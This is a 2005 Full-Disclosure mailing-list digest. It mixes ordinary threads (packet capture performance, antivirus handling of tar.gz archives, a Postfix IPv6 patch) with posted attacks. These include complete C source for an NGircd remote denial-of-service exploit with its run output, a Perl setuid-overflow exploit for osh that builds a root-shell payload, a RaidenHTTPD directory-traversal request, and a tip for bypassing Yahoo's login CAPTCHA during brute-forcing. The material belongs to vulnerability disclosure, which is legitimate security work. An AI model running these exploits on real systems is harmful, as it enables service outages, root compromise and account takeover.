RFC, quick. Already been done. Use a MIME message/external-body rather than an actual mail body, and have it point to a URL that does the click-through. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050204/15283696/attachment.bin From aditya.deshmukh at online.gateway.expertworks.net Sat Feb 5 05:36:36 2005 From: aditya.deshmukh at online.gateway.expertworks.net (ALD, Aditya, Aditya Lalit Deshmukh) Date: Sat, 5 Feb 2005 11:06:36 +0530 Subject: [Full-Disclosure] Libpcap versus WINPcap In-Reply-To: <0CE1D9496E87B64C84706386696573A508E1C5FE@us-fc-hctg.mail.saic.com> Message-ID: >Does anyone have experience with libpcap versus WINPcap from a performance >standpoint? I don't have packet numbers but I don't want to drop any. I >know how to use libpcap without the tcp/ip stack but how about WINPcap? Since winpcap goes thr another layer to the network - it would always be lower than the native lib. But the winpcap is good enough for normal - ie fully utilised 100 Mbps switch that I have but I run that in "hub" mode to sniff all the traffic - anything above that I think u would have to go native using linux. >Since it is a protocol I don't think it works the same way. Does any know >of any other Windows solutions for logging all the traffic Where are u exaclty putting up the network sensor ? I like to have this kind of sencor sitting on the gateway with one network card for incomming and other card for outgoing traffic and loging everything that goes and comes out - if a packet dosent get logged it gets dropped. >(except video) on a network. I may have to recommend Windows over Linux to my >client, if the performance is ok. Linux pcap would always be better than a windows if you are going above 100 mbps I think - it all depends upon what u want to log and at what speed. Since u don't want to any drop packets and most likely u are going to use 1000 mbps I would remommend native pcap libs -aditya ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From cumhuronat at gmail.com Sat Feb 5 11:19:00 2005 From: cumhuronat at gmail.com (cumhur onat) Date: Sat, 5 Feb 2005 13:19:00 +0200 Subject: [Full-Disclosure] yahoo mail image verification Message-ID: Did you realized that the image verification in yahoo mail which appears after some insuccesfull attempts is not working properly, becus i can just leave it blank and continue trying, dont tell me that it wont work if I enter a true passwrd without the verification code . It works i have tried with 6 accounts and managed to enter the inbox after about 40 tries. Sorry for my bad english :( Hope you understand what I mean... Cumhur Onat From fdonato at autistici.org Sat Feb 5 13:18:23 2005 From: fdonato at autistici.org (Donato Ferrante) Date: Sat, 5 Feb 2005 13:18:23 -0000 Subject: [Full-Disclosure] directory traversal in RaidenHTTPD 1.1.27 Message-ID: <20050205131823.92B5C1580E0@chernobyl.investici.org> Donato Ferrante Application: RaidenHTTPD http://www.raidenhttpd.com/ Version: 1.1.27 Bug: directory traversal Date: 05-Feb-2005 Author: Donato Ferrante e-mail: fdonato at autistici.org web: www.autistici.org/fdonato xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1. Description 2. The bug 3. The code 4. The fix xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ---------------- 1. Description: ---------------- Vendor's Description: "RaidenHTTPD is a full featured web server software for Windows 98/Me/ 2000/XP/2003 platforms." xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------ 2. The bug: ------------ The program by default has some checks to avoid malicious patterns like "/../" into http requests, but the program doesn't well manage the initial "/" into requests. In fact if you send a request like: > GET /somefile HTTP/1.1 the webserver will return the requested file if available in the DocumentRoot directory. But if you send a request like: > GET somefile HTTP/1.1 the webserver will return the requested file if available in the disk partition where the httpd is installed. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------- 3. The code: ------------- To test the vulnerability, send a raw http request to the server like: GET windows/system.ini HTTP/1.1 Host: localhost this will display Windows' system.ini, if the http server is installed on the same partition of Windows. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------------ 4. The fix: ------------ Vendor was contacted. Bug fixed in the version 1.1.31. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx From core at bokeoa.com Sat Feb 5 15:48:49 2005 From: core at bokeoa.com (Charles Stevenson) Date: Sat, 5 Feb 2005 07:48:49 -0800 Subject: [Full-Disclosure] Operator Shell (osh) BSS-based Buffer Overflow Message-ID: <20050205154849.GA953@debian> See attached exploit for details... *yawn* ...I really should sleep now. peace, core -------------- next part -------------- A non-text attachment was scrubbed... Name: x_osh.pl Type: text/x-perl Size: 7879 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/141f28b8/attachment.bin -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/141f28b8/attachment-0001.bin From barrie at reboot-robot.net Sat Feb 5 17:38:51 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Sat, 05 Feb 2005 17:38:51 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives Message-ID: <1107625132.5023.13.camel@localhost.localdomain> By passing some archives through www.virustotal.com I discovered that some AV companies ignore tar.gz's and possibly other archive formats that aren't very common on windows systems (but supported by the common archive tools). If virus writers start using these formats AV companies could be slow to react as in some cases they may have to write functionality into their products that doesn't currently exist (support for scanning inside said archives) this could delay signature updates. Full write up here: http://zeedo.blogspot.com/2005/02/multiple-av-vendors-ignoring-targz.html -- With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue blog: http://zeedo.blogspot.com site: http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/9896a993/attachment.bin From zx at castlecops.com Sat Feb 5 18:20:14 2005 From: zx at castlecops.com (Paul Laudanski) Date: Sat, 5 Feb 2005 13:20:14 -0500 (EST) Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <1107625132.5023.13.camel@localhost.localdomain> Message-ID: Are you finding that certain AVs are not actually checking the contents of the tarballs? I find in using nod32lms it does deep dive and checks each file. Please note that one must configure the nod32.cfg file to permit opening tarballs and other archives for inspection. We've accumulated some consumer opinion reviews on various anti-virus products, they are compared here: http://castlecops.com/compare-5 On Sat, 5 Feb 2005, Barrie Dempster wrote: > By passing some archives through www.virustotal.com I discovered that > some AV companies ignore tar.gz's and possibly other archive formats > that aren't very common on windows systems (but supported by the common > archive tools). > > Full write up here: > http://zeedo.blogspot.com/2005/02/multiple-av-vendors-ignoring-targz.html -- Regards, Paul Laudanski - Computer Cops, LLC. CastleCops(SM) - http://castlecops.com http://cuddlesnkisses.com | http://justalittlepoke.com | http://zhen-xjell.com From corryl at sitoverde.com Sat Feb 5 18:21:25 2005 From: corryl at sitoverde.com (CorryL) Date: Sat, 5 Feb 2005 19:21:25 +0100 Subject: [Full-Disclosure] NGircd <= 0.8.1 Remote DoS (exploit) Message-ID: <006d01c50baf$81d242b0$0100a8c0@server> The NGircd <= 0.8.1 il vulnerable in function Lists_MakeMask() of src/lists.c . The bug is discovered by Florian Westphal. This is exploit coded by Expanders component of x0n3-h4ck Italian Security Team ScreenShoot: -=[x0n3-h4ck]=--=[00:48:19]=--=[/root]=--=[Account: root]=- -=[#] ./ngircd_dos x0n3-h4ck.org 12345 Angel DarkChan -=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=- Connecting to target ...[Done] Building evil buffer ...[Done] Sending NICK ...[Done] Sending USER ...[Done] Joining Channel ...[Done] Sending evil request ...[Done] Trying to reconnect ...[Done] -> Attack Success! Lets party! The Irc Server is Killed !! Exploit: /* NGircd <= 0.8.1 Remote Denial Of Service Coded by: Expanders Usage: ./ngircd_dos NOTE: The channel must be EMPTY to let the exploit use +I mode Example: */ #include #include #include #include #include #include void help(char *program_name); int main(int argc, char *argv[]) { struct sockaddr_in trg; struct hostent *he; long addr; int sockfd, buff,rc; char evilbuf[1024]; char buffer[1024]; char *nick="AntiServer"; char *channel="Die_NGircd"; char *request; if(argv[3] != NULL) nick=argv[3]; if(argv[4] != NULL) channel=argv[4]; if(argc < 3 ) { help(argv[0]); exit(0); } printf("\n\n-=[ NGircd <= 0.8.1 Remote DoS ::: Coded by Expanders ]=-\n"); he = gethostbyname(argv[1]); sockfd = socket(AF_INET, SOCK_STREAM, 0); request = (char *) malloc(12344); trg.sin_family = AF_INET; trg.sin_port = htons(atoi(argv[2])); trg.sin_addr = *((struct in_addr *) he->h_addr); memset(&(trg.sin_zero), '\0', 8); printf("\n\nConnecting to target \t..."); rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in)); if(rc==0) { printf("[Done]\nBuilding evil buffer\t..."); memset(evilbuf,65,300); memset(evilbuf+300,64,1); memset(evilbuf+301,65,128); printf("[Done]\nSending NICK \t..."); sprintf(request,"NICK %s\n",nick); send(sockfd,request,strlen(request),0); printf("[Done]\nSending USER \t..."); sprintf(request,"USER %s x0n3-h4ck.org eth0.x0n3-h4ck.org :%s\n",nick,nick); send(sockfd,request,strlen(request),0); buff=recv(sockfd, buffer, 256, 0); printf("[Done]\nJoining Channel \t..."); sprintf(request,"JOIN #%s\n",channel); send(sockfd,request,strlen(request),0); printf("[Done]\nSending evil request \t..."); sprintf(request,"MODE #%s +I %s\n",channel,evilbuf); send(sockfd,request,strlen(request),0); sprintf(request,"QUIT www.x0n3-h4ck.org\n",evilbuf); send(sockfd,request,strlen(request),0); sleep(2); printf("[Done]\nTrying to reconnect\t..."); close(sockfd); sockfd = socket(AF_INET, SOCK_STREAM, 0); sleep(1); rc=connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr_in)); if(rc==0) printf("[Fail] -> Damn! Attack Failed!\n\n"); else printf("[Done] -> Attack Success! Lets party!\n\n"); } else printf("[Fail] -> Unable to connect\n\n"); close(sockfd); return 0; } void help(char *program_name) { printf("\n\t-=[ NGircd <= 0.8.1 Remote Denial Of Service ]=-\n"); printf("\t-=[ ]=-\n"); printf("\t-=[ Coded by ders -/www.x0n3-h4ck.org\\- ]=-\n\n"); printf("Usage: %s \n",program_name); } downloaded from http://x0n3-h4ck.org/upload/ngircd-0.8.1-dos.tar.gz Info: CorryL corryl80 at gmail.com www.x0n3-h4ck.org _________________________________ www.seekstat.it is your web stat From barrie at reboot-robot.net Sat Feb 5 18:40:04 2005 From: barrie at reboot-robot.net (Barrie Dempster) Date: Sat, 05 Feb 2005 18:40:04 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: References: Message-ID: <1107628805.24788.11.camel@localhost.localdomain> On Sat, 2005-02-05 at 13:20 -0500, Paul Laudanski wrote: > Are you finding that certain AVs are not actually checking the contents of > the tarballs? I find in using nod32lms it does deep dive and checks each > file. Please note that one must configure the nod32.cfg file to permit > opening tarballs and other archives for inspection. I didn't configure the AV's I didn't fancy installing all of them and thought virus total would give a good indication. It appears from the virustotal results and from http://www.nod32.com/products/nt.htm that nod32 will scan and detect tar.gz's but not bz2's. This is the most common result and could be argued to be valid by the vendors. However you can open tar.bz2's on windows so it's still a valid infection vector, although probably not all that useful for viruses. I don't believe many users will go googling for the tools needed. Nonetheless at least a few of the vendors think it's necessary to go beyond the common zip and rar. -- With Regards.. Barrie Dempster (zeedo) - Fortiter et Strenue blog: http://zeedo.blogspot.com site: http://www.bsrf.org.uk [ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/e1459aaa/attachment.bin From zx at castlecops.com Sat Feb 5 19:22:58 2005 From: zx at castlecops.com (Paul Laudanski) Date: Sat, 5 Feb 2005 14:22:58 -0500 (EST) Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <1107628805.24788.11.camel@localhost.localdomain> Message-ID: Thanks for replying back so quickly with further details. I tested a standard .tar.bz2 file and found that nod32lms didn't report on diving into it. I'll try to make time later to test it with a .tar.bz2 file which contains Eicar. However, I've also included NOD32 support in this reply. But this is just one company, you do have a point. On Sat, 5 Feb 2005, Barrie Dempster wrote: > I didn't configure the AV's I didn't fancy installing all of them and > thought virus total would give a good indication. It appears from the > virustotal results and from http://www.nod32.com/products/nt.htm that > nod32 will scan and detect tar.gz's but not bz2's. This is the most > common result and could be argued to be valid by the vendors. > > However you can open tar.bz2's on windows so it's still a valid > infection vector, although probably not all that useful for viruses. I > don't believe many users will go googling for the tools needed. > Nonetheless at least a few of the vendors think it's necessary to go > beyond the common zip and rar. -- Regards, Paul Laudanski - Computer Cops, LLC. CastleCops(SM) - http://castlecops.com http://cuddlesnkisses.com | http://justalittlepoke.com | http://zhen-xjell.com From core at bokeoa.com Sat Feb 5 17:01:35 2005 From: core at bokeoa.com (Charles Stevenson) Date: Sat, 5 Feb 2005 09:01:35 -0800 Subject: [Full-Disclosure] Re: Operator Shell (osh) BSS-based Buffer Overflow Message-ID: <20050205170135.GA1954@debian> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 #!/usr/bin/perl ####################################################################### # # OSH 1.7 Exploit # # EDUCATIONAL purposes only.... :-) # # by Charles Stevenson (core) # # Description: # The Operator Shell (Osh) is a setuid root, security enhanced, restricted # shell. It allows the administrator to carefully limit the access of special # commands and files to the users whose duties require their use, while # at the same time automatically maintaining audit records. The configuration # file for Osh contains an administrator defined access profile for each # authorized user or group. # # Problem: # The patch for the overflows published by Steve Kemp seems lacking. If the # following requirements are met we can overflow within the iopen() function: # osh must be invoked in non-interactive mode, argv[1] must be a valid command # according to /etc/osh.conf (e.g. osh help $(perl -e 'print "A"x8192')). The # offending code can be found at main.c:305 # # if (found) { /* It's a command, input is a string */ # inputfp=(FILE *)1; # strcpy(inputstring, argv[1]); //XXX: command is copied into inputstring # for (i=3;i<=argc;i++) { # strcat(inputstring, " "); //XXX: it adds a space # strcat(inputstring, argv[i-1]); //XXX: and now overflow is possible # } # strcat(inputstring, "\n"); /* So it's a command */ # # So far so good. Looking at the declaration `static char inputstring[1024];' # we can see that overflow is indeed possible. Here's the layout of memory: # #+------------------------------+ #| Memory Layout | #+------------------------------+ #|0x804e340 | #|0x804e344 | #|0x804e348 | #|0x804e34c | #+-(can munge everything below)-+ #|0x804e360 | #|0x804e760 | #|0x804e764 | #|0x804e778 | #|0x804e780 | #|0x804f380 | #|0x804f3a0 | #|0x804f540 | #|0x804f860 | #|0x804f864 | #+------------------------------+ # # Table stores a bunch of function pointers to all the routines whether # internally implemented or called via execv. So I decided to try and # overwrite the first entry with the address of my shellcode. There were # several obstacles in between me and my rootshell though. First was a # loop that performed strcmp's on AliasList items. Rather than fill that # out I found that I could conveniently set AliasCounter to -1 and skip # the loop entirely. Next I found that if argv[1] was a builtin command # and NUMENTRY was a positive integer I could set Table[0].prog_name to match # argv[1] and it'd call Table[0].handler (So I found "exit" in the executable # itself thanks to `static struct hand Internal[]'). From main.c:1032 # # while (i\n\n"; # Clear out the environment. foreach $key (keys %ENV) { delete $ENV{$key}; } # Setup simple env so ret is easier to guess $ENV{"HELLCODE"} = "$sc"; $ENV{"TERM"} = "linux"; $ENV{"PATH"} = "/usr/local/bin:/usr/bin:/bin"; # Create the payload... $egg = "&"x1019 . # pad up to NUMENTRY pack("l",0x01d5c001) . # overwrite with a positive int "&"x20 . # ampersand gets pas TTOOLONG pack("l",0xffffffff) . # AliasCounter = -1 skips for loop "core" . # shameless self-promotion $exit_addy . # address of "exit" pack("l",0xbffffe30) . # address of shellcode in ENV $exit_addy; # address of a NULL terminated string system("/usr/sbin/osh exit '$egg'"); # EOF -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFCBPvuGAuLrxOyeJMRApfcAKCwlfuoaGY9KgYFUi5l9smAVk2M7QCfbP9U yLucDlmKDkwJ3QcpNfJjIbs= =k8Vs -----END PGP SIGNATURE----- From foster at ghc.ru Sat Feb 5 18:32:35 2005 From: foster at ghc.ru (GHC vision) Date: Sat, 5 Feb 2005 20:32:35 +0200 Subject: [Full-Disclosure] Multiple SQL injection in Chipmunk forum Message-ID: <000a01c50bb1$1114a610$6f19000a@undergrov7zilb> All information is in attached file. [====================] -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/c6fd52e0/attachment.html -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: GHCchipforumEN.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/c6fd52e0/attachment.txt From foster at ghc.ru Sat Feb 5 20:14:30 2005 From: foster at ghc.ru (GHC vision) Date: Sat, 5 Feb 2005 22:14:30 +0200 Subject: [Full-Disclosure] CMScore advisory Message-ID: <001301c50bbf$4efe12a0$6f19000a@undergrov7zilb> SQL injection bugs in CMScore -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/bdd09daa/attachment.html -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: GHCcmscoreEN.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050205/bdd09daa/attachment.txt From nick at virus-l.demon.co.uk Sat Feb 5 22:15:26 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Sun, 06 Feb 2005 11:15:26 +1300 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <1107625132.5023.13.camel@localhost.localdomain> Message-ID: <4205FC4E.18353.30924D8@localhost> Barrie Dempster wrote: > By passing some archives through www.virustotal.com I discovered that > some AV companies ignore tar.gz's and possibly other archive formats > that aren't very common on windows systems (but supported by the common > archive tools). > > If virus writers start using these formats AV companies could be slow to > react as in some cases they may have to write functionality into their > products that doesn't currently exist (support for scanning inside said > archives) this could delay signature updates. That's a non sequitur. If a virus was released that depended on, say tar.gz archives, and some AV products did not have tar.gz unpacking capabilities, there would be no hindrance to those companies releasing detection updates. Afterall, what they detect are the unpacked contents of such archives, so detection of the actual malware is just as easily added and shipped regardless of whether the malware in question self-packs in .RAR, .ZIP, .TAR.GZ or .ZOO format (or does not pack itself in any archive format at all...). Worse however, is the implication that missing unpacking abilities for some modestly common archive type is a terrible flaw in a scanner. Well, OK -- in a gateway scanner it is likely to be a terrible flaw. Any vaguely competent gateway scanner should have basic knowledge of all archive formats and should have an option to quarantine all messages with archives in the formats it cannot unpack and inspect. Sadly, most gateway scanners are not designed this way. It is the job of a gateway scanner to not let anything "dangerous" in and if you cannot tell what something is, prudence says you keep it out, or at least set it aside for more expert inspection. However, once something gets to the desktop, it is only very mildly inconvenient that a scanner does not know how to unpack, say, tar.gz archives. The point of a desktop scanner is to stop as much as possible that has got to where it shouldn't be. Known virus scanning is a far from perfect method for achieving this, but as the only intelligent method of achieving it has been entirely disregarded by users, AV and OS developers, scanning is pretty much what we are left with. Anyway, as we are assuming that the malware in question can be detected already, let's look at the consequence of a desktop scanner not knowing anything about tar.gz packing and the arrival of a piece of known malware in such an archive... Let's assume that the user has a tar.gz handler and the user double- clicks on the dodgy Email attachment in question (the attachment that the shoddy gateway Email scanner should have stopped, even if it couldn't scan inside tar.gz files because this is hardly a just-minted compression format...). What happens? The on-access virus scanner says nothing as the tar.gz file hits the disk in some temp dir, as it doesn't know anything about tar.gz archives. For the same reason the on-access scanner says nothing when the user's archive-handling program opens the tar.gz file from its temp dir. As no code has so far been deposited on the machine in executable form, this is not any kind of failure on the part of the desktop scanner. (Yes, some lily-livered, weak-kneed sops may _prefer_ the "reassurance" of the malware code inside such files being detected "as soon as possible" but that is not a strong (or even useful) criterion for judging a desktop scanner's quality.) The user now sees, listed in the contents of the archive as displayed by their tar.gz archive handler the "card" or "picture" or "document" or whatever that the Email message promised, so double-clicks it. _Now_ their virus scanner gets excited. The archive handling program extracts the file to a temp dir and the on-access scanner (if set to scan on writes and/or closes) detects the malware and pops an alert (and blocks further access to the file or automatically quarantines/ deletes/etc as it is configured). If the scanner is only set to scan on execute it will pop an alert (and block/quarantine/delete) a moment later when the archive handler tries to have the file executed. There is no failure here. The desktop scanner "protected" the user, as designed. Yes, it is easy for testers to add tests such as "detects malware packed in .ZIP files", "detects malware packed in .RAR files", "detects malware packed in .TAR.GZ files" but the results of such tests tell you squat about the quality of the product. (In fact, that's not true -- as it seems axiomatic that the larger and more complex a software project the more bugs it will have, it would seem that the more archive formats a scanner can handle the buggier the scanner will be, so maybe such tests do tell us something about the quality of the products -- the higher the score, the buggier the product will be...) -- Nick FitzGerald Computer Virus Consulting Ltd. Ph/FAX: +64 3 3267092 From wietse at porcupine.org Sat Feb 5 22:09:57 2005 From: wietse at porcupine.org (Wietse Venema) Date: Sat, 5 Feb 2005 17:09:57 -0500 (EST) Subject: [Full-Disclosure] Re: [USN-74-1] Postfix vulnerability In-Reply-To: <20050204091325.GB551@box79162.elkhouse.de> "from Martin Pitt at Feb 4, 2005 10:13:25 am" Message-ID: <20050205220957.227E0BC171@spike.porcupine.org> FYI, This is a bug in a third-party IPv6 patch that is not part of Postfix. Neither the official Postfix release, nor the work-in-progress version are not affected by this. Wietse Martin Pitt: > Jean-Samuel Reynaud noticed a programming error in the IPv6 handling > code of Postfix when /proc/net/if_inet6 is not available (which is the > case in Ubuntu since Postfix runs in a chroot). If "permit_mx_backup" > was enabled in the "smtpd_recipient_restrictions", Postfix turned into > an open relay, i. e. erroneously permitted the delivery of arbitrary > mail to any MX host which has an IPv6 address. From james.mailing at gmail.com Sun Feb 6 01:19:00 2005 From: james.mailing at gmail.com (James Eaton-Lee) Date: Sun, 06 Feb 2005 01:19:00 +0000 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <4205FC4E.18353.30924D8@localhost> References: <4205FC4E.18353.30924D8@localhost> Message-ID: <1107652741.22051.18.camel@anubis> In the majority of businesses, firewalling and virus protection are done at the border of the network for a reason; when you eliminate as many viruses and malicious network traffic in one place at the edge of your network first, you effectively segregate 'good' and 'bad' information, and provide business accountability into the bargain. It is for precisely this reason that 99% of businesses have some sort of firewall (even if it's only a NAT gateway) on the *EDGE* of their network, at the internet point of presence, rather than having client firewall software installed on every client PC. Although you'd be hard-pressed to find a business without client antivirus software on every machine (if only for the simple reason that you can't protect floppy disks with a firewall), you can get away with not scanning e-mails on a client machine. Add to this the simple fact that it is difficult to manage and account for client anti-virus software - client machines are to an extent unmanaged and an 'unknown quantity' whereas servers can be *very* tightly locked down, assuring a far higher degree of reliability from server-based virus-scanning tools, firewalling, and intrusion detection than client machines which are vulnerable to a wide range of attacks and problems. Server anti-virus software starts to become more and more attractive at this point.. ..add to this the behaviour of different e-mail clients; especially in environments which are not based on a single platform, there can be many e-mail clients run in a business, and not all of them will interact with anti-virus software in the same way. Linux clients may not be running antivirus software at all, and yet in the case of .tar.gz and .tar.bz2 archives, are most likely to be exposed to marginally more 'exotic' antivirus formats. Bearing all of these factors in mind, and also factoring the growing reliability of SMEs on third-party and centralised antivirus scanning for their mail (from external service providers via MX routing, and via e-mail servers which aren't exchange which incorporate antivirus scanning simply by calling the antivirus software on the server itself), and gateway scanning becomes more and more significant; possibly more so than desktop software for mail - mail being the most common form of virus transmission - so significant that this *is*, in fact, a serious problem. I also disagree with you that it's a non sequitur to say that anti-virus writers would be slow to react to viruses transmitted inside archives they could not scan; all that an antivirus package is - essentially - is a daemon doing pattern matching on all data coming into and out of machines; anti-virus definitions (patterns) are very easy to write and require little work to push to customers of anti-virus writers; archive scanning, however, is a *functional* difference in the way in which antivirus software works, which carries numerous implications; updating an antivirus scanner's scanning engine is quite different to updating the definitions. Add to this the fact that implementing archive support in an antivirus package isn't as simple as it might seem; although bz2 is released under a BSD license, gzip isn't - it's GPL, and therefore any antivirus vendor would have to write their gzip code totally from scratch. There could certainly be enough of a curfuffle surrounding a virus using one of these archive formats to cause a delay of a few hours or even days in releasing updates for antivirus software which addressed the issue - and as we all know, the major damage in any virus epidemic is done in a very short space of time. To be honest, though, that isn't really the point. antivirus vendors necessarily have to write antivirus definitions reactively - but there's nothing other than sheer laziness which is preventing them from *pro*actively incorporating support for these types of archives into their software. regards, - James. On Sun, 2005-02-06 at 11:15 +1300, Nick FitzGerald wrote: Barrie Dempster wrote: > > > By passing some archives through www.virustotal.com I discovered that > > some AV companies ignore tar.gz's and possibly other archive formats > > that aren't very common on windows systems (but supported by the common > > archive tools). > > > > If virus writers start using these formats AV companies could be slow to > > react as in some cases they may have to write functionality into their > > products that doesn't currently exist (support for scanning inside said > > archives) this could delay signature updates. > > That's a non sequitur. > > If a virus was released that depended on, say tar.gz archives, and some > AV products did not have tar.gz unpacking capabilities, there would be > no hindrance to those companies releasing detection updates. Afterall, > what they detect are the unpacked contents of such archives, so > detection of the actual malware is just as easily added and shipped > regardless of whether the malware in question self-packs in .RAR, .ZIP, > .TAR.GZ or .ZOO format (or does not pack itself in any archive format > at all...). > > Worse however, is the implication that missing unpacking abilities for > some modestly common archive type is a terrible flaw in a scanner. > > Well, OK -- in a gateway scanner it is likely to be a terrible flaw. > Any vaguely competent gateway scanner should have basic knowledge of > all archive formats and should have an option to quarantine all > messages with archives in the formats it cannot unpack and inspect. > Sadly, most gateway scanners are not designed this way. It is the job > of a gateway scanner to not let anything "dangerous" in and if you > cannot tell what something is, prudence says you keep it out, or at > least set it aside for more expert inspection. > > However, once something gets to the desktop, it is only very mildly > inconvenient that a scanner does not know how to unpack, say, tar.gz > archives. The point of a desktop scanner is to stop as much as > possible that has got to where it shouldn't be. Known virus scanning > is a far from perfect method for achieving this, but as the only > intelligent method of achieving it has been entirely disregarded by > users, AV and OS developers, scanning is pretty much what we are left > with. Anyway, as we are assuming that the malware in question can be > detected already, let's look at the consequence of a desktop scanner > not knowing anything about tar.gz packing and the arrival of a piece of > known malware in such an archive... > > Let's assume that the user has a tar.gz handler and the user double- > clicks on the dodgy Email attachment in question (the attachment that > the shoddy gateway Email scanner should have stopped, even if it > couldn't scan inside tar.gz files because this is hardly a just-minted > compression format...). What happens? The on-access virus scanner > says nothing as the tar.gz file hits the disk in some temp dir, as it > doesn't know anything about tar.gz archives. For the same reason the > on-access scanner says nothing when the user's archive-handling program > opens the tar.gz file from its temp dir. As no code has so far been > deposited on the machine in executable form, this is not any kind of > failure on the part of the desktop scanner. (Yes, some lily-livered, > weak-kneed sops may _prefer_ the "reassurance" of the malware code > inside such files being detected "as soon as possible" but that is not > a strong (or even useful) criterion for judging a desktop scanner's > quality.) > > The user now sees, listed in the contents of the archive as displayed > by their tar.gz archive handler the "card" or "picture" or "document" > or whatever that the Email message promised, so double-clicks it. _Now_ > their virus scanner gets excited. The archive handling program > extracts the file to a temp dir and the on-access scanner (if set to > scan on writes and/or closes) detects the malware and pops an alert > (and blocks further access to the file or automatically quarantines/ > deletes/etc as it is configured). If the scanner is only set to scan > on execute it will pop an alert (and block/quarantine/delete) a moment > later when the archive handler tries to have the file executed. > > There is no failure here. The desktop scanner "protected" the user, as > designed. > > Yes, it is easy for testers to add tests such as "detects malware > packed in .ZIP files", "detects malware packed in .RAR files", "detects > malware packed in .TAR.GZ files" but the results of such tests tell you > squat about the quality of the product. (In fact, that's not true -- > as it seems axiomatic that the larger and more complex a software > project the more bugs it will have, it would seem that the more archive > formats a scanner can handle the buggier the scanner will be, so maybe > such tests do tell us something about the quality of the products -- > the higher the score, the buggier the product will be...) > > From frlinux at gmail.com Sun Feb 6 02:08:19 2005 From: frlinux at gmail.com (FRLinux) Date: Sun, 6 Feb 2005 02:08:19 +0000 Subject: [Full-Disclosure] Re: [USN-74-1] Postfix vulnerability In-Reply-To: <20050205220957.227E0BC171@spike.porcupine.org> References: <20050204091325.GB551@box79162.elkhouse.de> <20050205220957.227E0BC171@spike.porcupine.org> Message-ID: On Sat, 5 Feb 2005 17:09:57 -0500 (EST), Wietse Venema wrote: > FYI, > > This is a bug in a third-party IPv6 patch that is not part of Postfix. > > Neither the official Postfix release, nor the work-in-progress > version are not affected by this. Hello, Does this affect the Debian version (which is v6 enabled) ? Steph -- "Step by step, penguins are taking my sanity apart ..." From nick at virus-l.demon.co.uk Sun Feb 6 04:51:16 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Sun, 06 Feb 2005 17:51:16 +1300 Subject: [Full-Disclosure] Multiple AV Vendors ignoring tar.gz archives In-Reply-To: <1107652741.22051.18.camel@anubis> References: <4205FC4E.18353.30924D8@localhost> Message-ID: <42065914.19012.4738501@localhost> James Eaton-Lee wrote: > In the majority of businesses, firewalling and virus protection are done > at the border of the network for a reason; when you eliminate as many > viruses and malicious network traffic in one place at the edge of your > network first, you effectively segregate 'good' and 'bad' information, > and provide business accountability into the bargain. > > It is for precisely this reason that 99% of businesses have some sort of > firewall (even if it's only a NAT gateway) on the *EDGE* of their > network, at the internet point of presence, rather than having client > firewall software installed on every client PC. Although you'd be > hard-pressed to find a business without client antivirus software on > every machine (if only for the simple reason that you can't protect > floppy disks with a firewall), you can get away with not scanning > e-mails on a client machine. Did you miss the part of my message where I wrote: Well, OK -- in a gateway scanner it is likely to be a terrible flaw. Any vaguely competent gateway scanner should have basic knowledge of all archive formats and should have an option to quarantine all messages with archives in the formats it cannot unpack and inspect. Sadly, most gateway scanners are not designed this way. It is the job of a gateway scanner to not let anything "dangerous" in and if you cannot tell what something is, prudence says you 